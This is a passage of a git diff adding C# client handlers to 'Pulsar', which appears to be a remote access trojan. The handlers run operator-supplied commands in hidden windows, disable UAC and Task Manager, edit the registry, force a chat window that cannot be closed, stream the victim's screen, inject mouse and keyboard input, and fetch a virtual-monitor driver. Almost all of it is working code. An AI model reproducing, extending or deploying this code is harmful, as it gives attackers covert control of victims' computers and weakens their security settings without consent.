computer + var browsers = new List(); + + using (var hklmKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Clients\StartMenuInternet")) + { + if (hklmKey != null) + { + foreach (var browserKey in hklmKey.GetSubKeyNames()) + { + using (var browserProps = hklmKey.OpenSubKey(browserKey)) + { + var browserName = browserProps?.GetValue(null)?.ToString(); + using (var commandProps = browserProps?.OpenSubKey(@"shell\open\command")) + { + var command = commandProps?.GetValue(null)?.ToString(); + var exePath = GetExecutablePath(command); + if (!string.IsNullOrEmpty(browserName) && !string.IsNullOrEmpty(exePath)) + { + browsers.Add(new QueryBrowsers { Browser = browserName, Location = exePath }); + } + } + } + } + } + } + + using (var hkcuKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Clients\StartMenuInternet")) + { + if (hkcuKey != null) + { + foreach (var browserKey in hkcuKey.GetSubKeyNames()) + { + using (var browserProps = hkcuKey.OpenSubKey(browserKey)) + { + var browserName = browserProps?.GetValue(null)?.ToString(); + using (var commandProps = browserProps?.OpenSubKey(@"shell\open\command")) + { + var command = commandProps?.GetValue(null)?.ToString(); + var exePath = GetExecutablePath(command); + if (!string.IsNullOrEmpty(browserName) && !string.IsNullOrEmpty(exePath)) + { + browsers.Add(new QueryBrowsers { Browser = browserName, Location = exePath }); + } + } + } + } + } + } + + // remove dups + browsers = browsers.GroupBy(b => b.Browser).Select(g => g.First()).ToList(); + + client.Send(new GetBrowsersResponse { QueryBrowsers = browsers }); + } + + private string GetExecutablePath(string command) + { + if (string.IsNullOrEmpty(command)) + { + return null; + } + + var match = System.Text.RegularExpressions.Regex.Match(command, @"(?""[^""]+\.exe""|\S+\.exe)"); + return match.Success ? match.Groups["path"].Value.Trim('"') : null; + } + } +} diff --git a/Pulsar.Client/Messages/QuickCommandHandler.cs b/Pulsar.Client/Messages/QuickCommandHandler.cs new file mode 100644 index 0000000..e29986b --- /dev/null +++ b/Pulsar.Client/Messages/QuickCommandHandler.cs @@ -0,0 +1,84 @@ +ο»Ώusing Pulsar.Common.Messages; +using Pulsar.Common.Networking; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Messages.QuickCommands; +using System.Diagnostics; +using Pulsar.Client.Helper.TaskManager; +using Pulsar.Client.Helper.UAC; + +namespace Pulsar.Client.Messages +{ + + public class QuickCommandHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoSendQuickCommand || message is DoEnableTaskManager || message is DoDisableTaskManager || message is DoDisableUAC || message is DoEnableUAC; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoSendQuickCommand msg: + Execute(sender, msg); + break; + + case DoEnableTaskManager msg: + Execute(sender, msg); + break; + + case DoDisableTaskManager msg: + Execute(sender, msg); + break; + + case DoDisableUAC msg: + Execute(sender, msg); + break; + + case DoEnableUAC msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoSendQuickCommand message) + { + client.Send(new SetStatus { Message = "Successful Quick Command" }); + + Debug.WriteLine(message.Host + " " + message.Command); + + //execute a new powershell with the command + Process process = new Process(); + ProcessStartInfo startInfo = new ProcessStartInfo(); + startInfo.WindowStyle = ProcessWindowStyle.Hidden; + startInfo.FileName = message.Host; + startInfo.Arguments = message.Command; + process.StartInfo = startInfo; + process.Start(); + } + + private void Execute(ISender client, DoEnableTaskManager message) + { + client.Send(new SetStatus { Message = "Task Manager Enabled" }); + TaskManager.Enable(); + } + + private void Execute(ISender client, DoDisableTaskManager message) + { + client.Send(new SetStatus { Message = "Task Manager Disabled" }); + TaskManager.Disable(); + } + + private void Execute(ISender client, DoDisableUAC message) + { + client.Send(new SetStatus { Message = "UAC Disabled. Requires Restart" }); + UACToggle.DisableUAC(); + } + + private void Execute(ISender client, DoEnableUAC message) + { + client.Send(new SetStatus { Message = "UAC Enabled. Requires Restart" }); + UACToggle.EnableUAC(); + } + } +} diff --git a/Pulsar.Client/Messages/RegistryHandler.cs b/Pulsar.Client/Messages/RegistryHandler.cs new file mode 100644 index 0000000..ba903c4 --- /dev/null +++ b/Pulsar.Client/Messages/RegistryHandler.cs @@ -0,0 +1,230 @@ +ο»Ώusing Pulsar.Client.Extensions; +using Pulsar.Client.Helper; +using Pulsar.Client.Registry; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Administration.RegistryEditor; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; +using Pulsar.Common.Networking; +using System; + +namespace Pulsar.Client.Messages +{ + public class RegistryHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoLoadRegistryKey || + message is DoCreateRegistryKey || + message is DoDeleteRegistryKey || + message is DoRenameRegistryKey || + message is DoCreateRegistryValue || + message is DoDeleteRegistryValue || + message is DoRenameRegistryValue || + message is DoChangeRegistryValue; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoLoadRegistryKey msg: + Execute(sender, msg); + break; + case DoCreateRegistryKey msg: + Execute(sender, msg); + break; + case DoDeleteRegistryKey msg: + Execute(sender, msg); + break; + case DoRenameRegistryKey msg: + Execute(sender, msg); + break; + case DoCreateRegistryValue msg: + Execute(sender, msg); + break; + case DoDeleteRegistryValue msg: + Execute(sender, msg); + break; + case DoRenameRegistryValue msg: + Execute(sender, msg); + break; + case DoChangeRegistryValue msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoLoadRegistryKey message) + { + GetRegistryKeysResponse responsePacket = new GetRegistryKeysResponse(); + try + { + RegistrySeeker seeker = new RegistrySeeker(); + seeker.BeginSeeking(message.RootKeyName); + + responsePacket.Matches = seeker.Matches; + responsePacket.IsError = false; + } + catch (Exception e) + { + responsePacket.IsError = true; + responsePacket.ErrorMsg = e.Message; + } + responsePacket.RootKey = message.RootKeyName; + client.Send(responsePacket); + } + + + private void Execute(ISender client, DoCreateRegistryKey message) + { + GetCreateRegistryKeyResponse responsePacket = new GetCreateRegistryKeyResponse(); + string errorMsg; + string newKeyName = ""; + + try + { + responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(message.ParentPath, out newKeyName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + + responsePacket.ErrorMsg = errorMsg; + responsePacket.Match = new RegSeekerMatch + { + Key = newKeyName, + Data = RegistryKeyHelper.GetDefaultValues(), + HasSubKeys = false + }; + responsePacket.ParentPath = message.ParentPath; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoDeleteRegistryKey message) + { + GetDeleteRegistryKeyResponse responsePacket = new GetDeleteRegistryKeyResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.DeleteRegistryKey(message.KeyName, message.ParentPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ParentPath = message.ParentPath; + responsePacket.KeyName = message.KeyName; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoRenameRegistryKey message) + { + GetRenameRegistryKeyResponse responsePacket = new GetRenameRegistryKeyResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(message.OldKeyName, message.NewKeyName, message.ParentPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ParentPath = message.ParentPath; + responsePacket.OldKeyName = message.OldKeyName; + responsePacket.NewKeyName = message.NewKeyName; + + client.Send(responsePacket); + } + + + private void Execute(ISender client, DoCreateRegistryValue message) + { + GetCreateRegistryValueResponse responsePacket = new GetCreateRegistryValueResponse(); + string errorMsg; + string newKeyName = ""; + try + { + responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(message.KeyPath, message.Kind, out newKeyName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.Value = RegistryKeyHelper.CreateRegValueData(newKeyName, message.Kind, message.Kind.GetDefault()); + responsePacket.KeyPath = message.KeyPath; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoDeleteRegistryValue message) + { + GetDeleteRegistryValueResponse responsePacket = new GetDeleteRegistryValueResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(message.KeyPath, message.ValueName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ValueName = message.ValueName; + responsePacket.KeyPath = message.KeyPath; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoRenameRegistryValue message) + { + GetRenameRegistryValueResponse responsePacket = new GetRenameRegistryValueResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.RenameRegistryValue(message.OldValueName, message.NewValueName, message.KeyPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.KeyPath = message.KeyPath; + responsePacket.OldValueName = message.OldValueName; + responsePacket.NewValueName = message.NewValueName; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoChangeRegistryValue message) + { + GetChangeRegistryValueResponse responsePacket = new GetChangeRegistryValueResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(message.Value, message.KeyPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.KeyPath = message.KeyPath; + responsePacket.Value = message.Value; + + client.Send(responsePacket); + } + } +} diff --git a/Pulsar.Client/Messages/RemoteChatHandler.cs b/Pulsar.Client/Messages/RemoteChatHandler.cs new file mode 100644 index 0000000..5708a28 --- /dev/null +++ b/Pulsar.Client/Messages/RemoteChatHandler.cs @@ -0,0 +1,111 @@ +ο»Ώusing Pulsar.Common.Messages; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Messages.UserSupport.RemoteChat; +using Pulsar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Threading; +using System.Windows.Forms; + +namespace Pulsar.Client.Messages +{ + public class RemoteChatHandler : IMessageProcessor + { + private static Thread _chatThread; + + public bool CanExecute(IMessage message) => message is DoChat || message is DoKillChatForm || message is DoStartChatForm || message is DoChatAction; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoChat Msg: + HandleDoChatMessage(sender, Msg); + break; + case DoStartChatForm Msg: + HandleDoChatStart(sender, Msg); + break; + case DoKillChatForm Msg: + HandleDoChatStop(sender, Msg); + break; + case DoChatAction Msg: + HandleChatAction(sender, Msg); + break; + } + } + + public void HandleChatAction(ISender sender, DoChatAction msg) + { + var frmChat = (FrmRemoteChat)Application.OpenForms["FrmRemoteChat"]; + if (frmChat != null) + { + frmChat.Invoke((MethodInvoker)delegate + { + frmChat.txtMessages.Clear(); + }); + } + } + + public static void HandleDoChatStart(ISender client, DoStartChatForm getChat) + { + + if (_chatThread != null && _chatThread.IsAlive) + return; + + _chatThread = new Thread(() => + { + var frmChat = new FrmRemoteChat(client); + frmChat.Text = getChat.Title; + frmChat.txtMessages.Text = getChat.WelcomeMessage; + if (getChat.DisableClose == true) + { + frmChat.ControlBox = false; + } + frmChat.txtMessage.Enabled = getChat.DisableType; + + Application.Run(frmChat); + frmChat.TopMost = getChat.TopMost; + frmChat.BringToFront(); + }); + _chatThread.SetApartmentState(ApartmentState.STA); + _chatThread.Start(); + } + + public static void HandleDoChatMessage(ISender client, DoChat packet) + { + var frmChat = (FrmRemoteChat)Application.OpenForms["FrmRemoteChat"]; + if (frmChat != null) + { + frmChat.Invoke((MethodInvoker)delegate + { + frmChat.AddMessage(packet.User, packet.PacketDms); + }); + } + } + + public static void HandleDoChatStop(ISender client, DoKillChatForm packet) + { + var frmChat = (FrmRemoteChat)Application.OpenForms["FrmRemoteChat"]; + if (frmChat != null) + { + frmChat.Invoke((MethodInvoker)delegate + { + frmChat.Active = false; + frmChat.Close(); + }); + } + + if (_chatThread != null && _chatThread.IsAlive) + { + _chatThread.Join(500); + _chatThread = null; + } + else + { + _chatThread = null; + } + } + } +} diff --git a/Pulsar.Client/Messages/RemoteDesktopHandler.cs b/Pulsar.Client/Messages/RemoteDesktopHandler.cs new file mode 100644 index 0000000..337c8e3 --- /dev/null +++ b/Pulsar.Client/Messages/RemoteDesktopHandler.cs @@ -0,0 +1,1005 @@ +ο»Ώusing Pulsar.Client.Helper; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages; +using Pulsar.Common.Networking; +using Pulsar.Common.Video; +using Pulsar.Common.Video.Codecs; +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Windows.Forms; +using System.Threading; +using System.Threading.Tasks; +using System.Diagnostics; +using Pulsar.Common.Messages.Monitoring.RemoteDesktop; +using Pulsar.Common.Messages.Other; +using System.Collections.Concurrent; +using System.Runtime.InteropServices; +using Pulsar.Client.Config; +using System.Collections.Generic; +using Pulsar.Client.Utilities; +using System.Linq; +using Pulsar.Common.Messages.Monitoring.VirtualMonitor; + +namespace Pulsar.Client.Messages +{ + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] + public struct WNDCLASS + { + public uint style; + public WndProcDelegate lpfnWndProc; + public int cbClsExtra; + public int cbWndExtra; + public IntPtr hInstance; + public IntPtr hIcon; + public IntPtr hCursor; + public IntPtr hbrBackground; + [MarshalAs(UnmanagedType.LPStr)] + public string lpszMenuName; + [MarshalAs(UnmanagedType.LPStr)] + public string lpszClassName; + } + + [StructLayout(LayoutKind.Sequential)] + public struct BLENDFUNCTION + { + public byte BlendOp; + public byte BlendFlags; + public byte SourceConstantAlpha; + public byte AlphaFormat; + } + + [StructLayout(LayoutKind.Sequential)] + public struct POINT + { + public int x; + public int y; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SIZE + { + public int cx; + public int cy; + } + + public delegate IntPtr WndProcDelegate(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam); + + public class RemoteDesktopHandler : NotificationMessageProcessor, IDisposable + { + [DllImport("user32.dll", SetLastError = true)] + private static extern bool SetThreadDesktop(IntPtr hDesktop); + + private const int CURSOR_SHOWING = 0x00000001; + [StructLayout(LayoutKind.Sequential)] + private struct CURSORINFO_NATIVE + { + public int cbSize; + public int flags; + public IntPtr hCursor; + public POINT ScreenPosition; + } + [DllImport("user32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool GetCursorInfo(out CURSORINFO_NATIVE pci); + [DllImport("user32.dll")] + private static extern bool DrawIcon(IntPtr hDC, int X, int Y, IntPtr hIcon); + + private UnsafeStreamCodec _streamCodec; + private BitmapData _desktopData = null; + private Bitmap _desktop = null; + private int _displayIndex = 0; + private ISender _clientMain; + private Thread _captureThread; + private CancellationTokenSource _cancellationTokenSource; + + private ScreenOverlay _screenOverlay; + + private ScreenOverlay ScreenOverlay + { + get + { + if (_screenOverlay == null) + { + _screenOverlay = new ScreenOverlay(); + } + return _screenOverlay; + } + } + + private bool _useGPU = false; + + // frame control variables + private readonly ConcurrentQueue _frameBuffer = new ConcurrentQueue(); + private readonly AutoResetEvent _frameRequestEvent = new AutoResetEvent(false); + private int _pendingFrameRequests = 0; + + private const int MAX_BUFFER_SIZE = 3; + + private readonly Stopwatch _stopwatch = new Stopwatch(); + private int _frameCount = 0; + private float _lastFrameRate = 0f; + + // drawing commands + private readonly ConcurrentQueue _drawingQueue = new ConcurrentQueue(); + private readonly ManualResetEvent _drawingSignal = new ManualResetEvent(false); + private Thread _drawingThread; + private bool _drawingThreadRunning = false; + + + private IntPtr _linearFrameBuffer = IntPtr.Zero; + private int _linearBufferSize = 0; + private int _linearWidth = 0, _linearHeight = 0; + + public override bool CanExecute(IMessage message) => message is GetDesktop || + message is DoMouseEvent || + message is DoKeyboardEvent || + message is DoDrawingEvent || + message is GetMonitors || + message is DoInstallVirtualMonitor || + message is DoUninstallVirtualMonitor || + message is StartProcessOnMonitor; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetDesktop msg: + Execute(sender, msg); + break; + case DoMouseEvent msg: + Execute(sender, msg); + break; + case DoKeyboardEvent msg: + Execute(sender, msg); + break; + case DoDrawingEvent msg: + _drawingQueue.Enqueue(() => Execute(sender, msg)); + _drawingSignal.Set(); + EnsureDrawingThreadIsRunning(); + break; + case GetMonitors msg: + Execute(sender, msg); + break; + case DoInstallVirtualMonitor msg: + Execute(sender, msg); + break; + case DoUninstallVirtualMonitor msg: + Execute(sender, msg); + break; + case StartProcessOnMonitor msg: + Execute(sender, msg); + break; + } + } + + private void EnsureDrawingThreadIsRunning() + { + if (!_drawingThreadRunning) + { + _drawingThreadRunning = true; + _drawingThread = new Thread(DrawingThreadProc); + _drawingThread.IsBackground = true; + _drawingThread.Start(); + } + } + + private void DrawingThreadProc() + { + try + { + while (_drawingThreadRunning) + { + _drawingSignal.WaitOne(); + + while (_drawingQueue.TryDequeue(out Action drawAction)) + { + try + { + drawAction(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error processing drawing action: {ex.Message}"); + } + } + + _drawingSignal.Reset(); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error in drawing thread: {ex.Message}"); + } + finally + { + _drawingThreadRunning = false; + } + } + + private void Execute(ISender client, GetDesktop message) + { + if (message.Status == RemoteDesktopStatus.Stop) + { + StopScreenStreaming(); + } + else if (message.Status == RemoteDesktopStatus.Start) + { + StartScreenStreaming(client, message); + } + else if (message.Status == RemoteDesktopStatus.Continue) + { + // server is requesting more frames + Interlocked.Add(ref _pendingFrameRequests, message.FramesRequested); + _frameRequestEvent.Set(); + } + } + + private void StartScreenStreaming(ISender client, GetDesktop message) + { + Debug.WriteLine("Starting remote desktop session"); + + var monitorBounds = ScreenHelperCPU.GetBounds(message.DisplayIndex); + var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width }; + + if (_streamCodec == null) + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + + if (message.CreateNew) + { + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + OnReport("Remote desktop session started"); + } + + if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution) + { + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + } + + _displayIndex = message.DisplayIndex; + _clientMain = client; + + _useGPU = message.UseGPU; + Debug.WriteLine("Use GPU: " + _useGPU); + + // clear any pending frame requests and existing frames + ClearFrameBuffer(); + Interlocked.Exchange(ref _pendingFrameRequests, message.FramesRequested); + + if (_captureThread == null || !_captureThread.IsAlive) + { + _cancellationTokenSource = new CancellationTokenSource(); + _captureThread = new Thread(() => BufferedCaptureLoop(_cancellationTokenSource.Token)) + { + IsBackground = true, + Priority = ThreadPriority.Highest, + Name = "ScreenCaptureThread" + }; + _captureThread.Start(); + } + } + + private void StopScreenStreaming() + { + Debug.WriteLine("Stopping remote desktop session"); + + _cancellationTokenSource?.Cancel(); + + if (_captureThread != null && _captureThread.IsAlive) + { + _frameRequestEvent.Set(); // wake up thread + _captureThread.Join(); + _captureThread = null; + } + + if (_desktop != null) + { + if (_desktopData != null) + { + try + { + _desktop.UnlockBits(_desktopData); + } + catch + { + } + _desktopData = null; + } + _desktop.Dispose(); + _desktop = null; + } + + if (_streamCodec != null) + { + _streamCodec.Dispose(); + _streamCodec = null; + } + + // clean up gpu bs + if (_useGPU) + { + ScreenHelperGPU.CleanupResources(); + } + + // clear the buff + ClearFrameBuffer(); + Interlocked.Exchange(ref _pendingFrameRequests, 0); + } + + private void BufferedCaptureLoop(CancellationToken cancellationToken) + { + Debug.WriteLine("Starting simplified buffered capture loop"); + + try + { + Process.GetCurrentProcess().PriorityClass = ProcessPriorityClass.High; + Debug.WriteLine("Set process priority to High for optimal capture performance"); + } + catch (Exception ex) + { + Debug.WriteLine($"Could not set process priority: {ex.Message}"); + } + + _stopwatch.Start(); + + bool success = SetThreadDesktop(Settings.OriginalDesktopPointer); + if (!success) + { + Debug.WriteLine($"Failed to set capture thread to original desktop: {Marshal.GetLastWin32Error()}"); + return; + } + + var lastCaptureTime = DateTime.UtcNow; + const double targetFps = 60.0; + const double minFrameMs = 500.0 / targetFps; // ~8.33ms + + while (!cancellationToken.IsCancellationRequested) + { + try + { + if (_pendingFrameRequests <= 0) + { + Debug.WriteLine($"Waiting for frame requests. Buffer size: {_frameBuffer.Count}"); + _frameRequestEvent.WaitOne(500); + + if (cancellationToken.IsCancellationRequested) + break; + continue; + } + + // 60 fps throttle give or take + if (_useGPU) + { + var now = DateTime.UtcNow; + var elapsedMs = (now - lastCaptureTime).TotalMilliseconds; + if (elapsedMs < minFrameMs) + { + int sleep = (int)Math.Max(1, minFrameMs - elapsedMs); + Thread.Sleep(sleep); + lastCaptureTime = DateTime.UtcNow; + } + else + { + lastCaptureTime = now; + } + } + else + { + lastCaptureTime = DateTime.UtcNow; + } + + // capture frame and add to buffer + byte[] frameData = CaptureFrame(); + if (frameData != null) + { + if (_frameBuffer.Count >= MAX_BUFFER_SIZE) + { + _frameBuffer.TryDequeue(out _); // Remove oldest frame + } + + _frameBuffer.Enqueue(frameData); + + // increment frame counter for statistics + _frameCount++; + if (_stopwatch.ElapsedMilliseconds >= 1000) + { + Debug.WriteLine($"Capture FPS: {_frameCount}, Buffer size: {_frameBuffer.Count}, Pending requests: {_pendingFrameRequests}"); + _lastFrameRate = _frameCount; + _frameCount = 0; + _stopwatch.Restart(); + } + } + + while (_pendingFrameRequests > 0 && _frameBuffer.TryDequeue(out byte[] frameToSend)) + { + var isLastFrame = Interlocked.Decrement(ref _pendingFrameRequests) == 0; + var capturedFrame = frameToSend; + + Task.Run(() => SendFrameToServer(capturedFrame, isLastFrame)); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error in buffered capture loop: {ex.Message}"); + Thread.Sleep(100); // Avoid tight loop in case of repeated errors + } + } + + Debug.WriteLine("Buffered capture loop ended"); + } + + private MemoryStream _reusableStream; + + private MemoryStream ReusableStream + { + get + { + if (_reusableStream == null) + { + _reusableStream = new MemoryStream(); + } + return _reusableStream; + } + } + + private byte[] CaptureFrame() + { + try + { + if (_useGPU && ScreenHelperGPU.TryCaptureRawFrame(_displayIndex, out var mapped)) + { + using (mapped) + { + if (ReusableStream.Length > 0) + { + ReusableStream.Position = 0; + ReusableStream.SetLength(0); + } + + if (_streamCodec == null) throw new Exception("StreamCodec can not be null."); + + IntPtr srcPtr; + int expectedStride = mapped.Width * 4; + if (mapped.RowPitch == expectedStride) + { + srcPtr = mapped.DataPointer; + } + else + { + EnsureLinearBuffer(mapped.Width, mapped.Height); + unsafe + { + byte* src = (byte*)mapped.DataPointer.ToPointer(); + byte* dst = (byte*)_linearFrameBuffer.ToPointer(); + for (int y = 0; y < mapped.Height; y++) + { + System.Buffer.MemoryCopy(src, dst, expectedStride, expectedStride); + src += mapped.RowPitch; + dst += expectedStride; + } + } + srcPtr = _linearFrameBuffer; + } + + TryDrawCursorOnBuffer(srcPtr, mapped.Width, mapped.Height, expectedStride, _displayIndex); + + _streamCodec.CodeImage(srcPtr, + new Rectangle(0, 0, mapped.Width, mapped.Height), + new Size(mapped.Width, mapped.Height), + mapped.PixelFormat, + ReusableStream); + + return ReusableStream.ToArray(); + } + } + + if (_useGPU) + { + Thread.Sleep(2); + return null; + } + + _desktop = _useGPU ? ScreenHelperGPU.CaptureScreen(_displayIndex) : ScreenHelperCPU.CaptureScreen(_displayIndex); + + if (_desktop == null) + { + Debug.WriteLine("Error capturing screen: Bitmap is null"); + return null; + } + + const PixelFormat codecPixelFormat = PixelFormat.Format32bppArgb; + Bitmap processedBitmap = _desktop; + + if (_desktop.PixelFormat != codecPixelFormat) + { + try + { + processedBitmap = new Bitmap(_desktop.Width, _desktop.Height, codecPixelFormat); + using (Graphics g = Graphics.FromImage(processedBitmap)) + { + g.DrawImage(_desktop, 0, 0, _desktop.Width, _desktop.Height); + } + _desktop.Dispose(); + _desktop = processedBitmap; + } + catch (Exception ex) + { + Debug.WriteLine($"Error converting pixel format: {ex.Message}"); + processedBitmap = _desktop; + } + } + + _desktopData = processedBitmap.LockBits(new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height), + ImageLockMode.ReadOnly, processedBitmap.PixelFormat); + + if (ReusableStream.Length > 0) + { + ReusableStream.Position = 0; + ReusableStream.SetLength(0); + } + + if (_streamCodec == null) throw new Exception("StreamCodec can not be null."); + _streamCodec.CodeImage(_desktopData.Scan0, + new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height), + new Size(processedBitmap.Width, processedBitmap.Height), + processedBitmap.PixelFormat, ReusableStream); + + return ReusableStream.ToArray(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error capturing frame: {ex.Message}"); + return null; + } + finally + { + if (_desktopData != null && _desktop != null) + { + try { _desktop.UnlockBits(_desktopData); } catch { } + } + _desktopData = null; + _desktop?.Dispose(); + _desktop = null; + } + } + + private void EnsureLinearBuffer(int width, int height) + { + int needed = width * height * 4; + if (needed != _linearBufferSize) + { + if (_linearFrameBuffer != IntPtr.Zero) + { + Marshal.FreeHGlobal(_linearFrameBuffer); + _linearFrameBuffer = IntPtr.Zero; + } + _linearFrameBuffer = Marshal.AllocHGlobal(needed); + _linearBufferSize = needed; + _linearWidth = width; _linearHeight = height; + } + } + + private void TryDrawCursorOnBuffer(IntPtr buffer, int width, int height, int stride, int monitorIndex) + { + try + { + var ci = new CURSORINFO_NATIVE { cbSize = Marshal.SizeOf(typeof(CURSORINFO_NATIVE)) }; + if (!GetCursorInfo(out ci) || ci.flags != CURSOR_SHOWING) return; + + var bounds = Screen.AllScreens[monitorIndex].Bounds; + using (var bmp = new Bitmap(width, height, stride, PixelFormat.Format32bppArgb, buffer)) + using (var g = Graphics.FromImage(bmp)) + { + var hdc = g.GetHdc(); + try + { + DrawIcon(hdc, ci.ScreenPosition.x - bounds.X, ci.ScreenPosition.y - bounds.Y, ci.hCursor); + } + finally + { + g.ReleaseHdc(hdc); + } + } + } + catch { } + } + + private void SendFrameToServer(byte[] frameData, bool isLastRequestedFrame) + { + if (frameData == null || _clientMain == null) return; + + try + { + var response = new GetDesktopResponse + { + Image = frameData, + Quality = _streamCodec.ImageQuality, + Monitor = _streamCodec.Monitor, + Resolution = _streamCodec.Resolution, + Timestamp = DateTimeOffset.UtcNow.ToUnixTimeMilliseconds(), + IsLastRequestedFrame = isLastRequestedFrame, + FrameRate = _lastFrameRate + }; + + _clientMain.Send(response); + } + catch (Exception ex) + { + Debug.WriteLine($"Error sending frame to server: {ex.Message}"); + } + } + + private void ClearFrameBuffer() + { + while (_frameBuffer.TryDequeue(out _)) { } + } + + private void Execute(ISender sender, DoMouseEvent message) + { + try + { + Screen[] allScreens = Screen.AllScreens; + int offsetX = allScreens[message.MonitorIndex].Bounds.X; + int offsetY = allScreens[message.MonitorIndex].Bounds.Y; + Point p = new Point(message.X + offsetX, message.Y + offsetY); + + // Disable screensaver if active before input + if (NativeMethodsHelper.IsScreensaverActive()) + NativeMethodsHelper.DisableScreensaver(); + + switch (message.Action) + { + case MouseAction.LeftDown: + case MouseAction.LeftUp: + NativeMethodsHelper.DoMouseLeftClick(p, message.IsMouseDown); + break; + case MouseAction.RightDown: + case MouseAction.RightUp: + NativeMethodsHelper.DoMouseRightClick(p, message.IsMouseDown); + break; + case MouseAction.MoveCursor: + NativeMethodsHelper.DoMouseMove(p); + break; + case MouseAction.ScrollDown: + NativeMethodsHelper.DoMouseScroll(p, true); + break; + case MouseAction.ScrollUp: + NativeMethodsHelper.DoMouseScroll(p, false); + break; + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error executing mouse event: {ex.Message}"); + } + } + + private void Execute(ISender sender, DoKeyboardEvent message) + { + try + { + if (NativeMethodsHelper.IsScreensaverActive()) + NativeMethodsHelper.DisableScreensaver(); + + NativeMethodsHelper.DoKeyPress(message.Key, message.KeyDown); + } + catch (Exception ex) + { + Debug.WriteLine($"Error executing keyboard event: {ex.Message}"); + } + } + + private void Execute(ISender sender, DoDrawingEvent message) + { + try + { + if (message.IsClearAll) + { + ScreenOverlay.ClearDrawings(message.MonitorIndex); + } + else if (message.IsEraser) + { + ScreenOverlay.DrawEraser( + message.PrevX, message.PrevY, + message.X, message.Y, + message.StrokeWidth, message.MonitorIndex); + } + else + { + ScreenOverlay.Draw( + message.PrevX, message.PrevY, + message.X, message.Y, + message.StrokeWidth, message.ColorArgb, message.MonitorIndex); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error processing drawing event: {ex.Message}"); + } + } + + private void Execute(ISender client, GetMonitors message) + { + int screenCountTotal = DisplayManager.GetDisplayCount(); + + Debug.WriteLine(screenCountTotal); + + client.Send(new GetMonitorsResponse { Number = screenCountTotal }); + } + + private void Execute(ISender client, DoInstallVirtualMonitor message) + { + string downloadURL = "https://www.amyuni.com/downloads/usbmmidd_v2.zip"; + string dropPath = Path.Combine(Settings.DIRECTORY, "usbmmidd_v2.zip"); + + // download the virtual monitor driver + if (!File.Exists(dropPath)) + { + try + { + using (var wc = new System.Net.WebClient()) + { + wc.DownloadFile(downloadURL, dropPath); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error downloading virtual monitor driver: {ex.Message}"); + return; + } + } + + // extract the driver + string extractPath = Path.Combine(Settings.DIRECTORY, "usbmmidd_v2"); 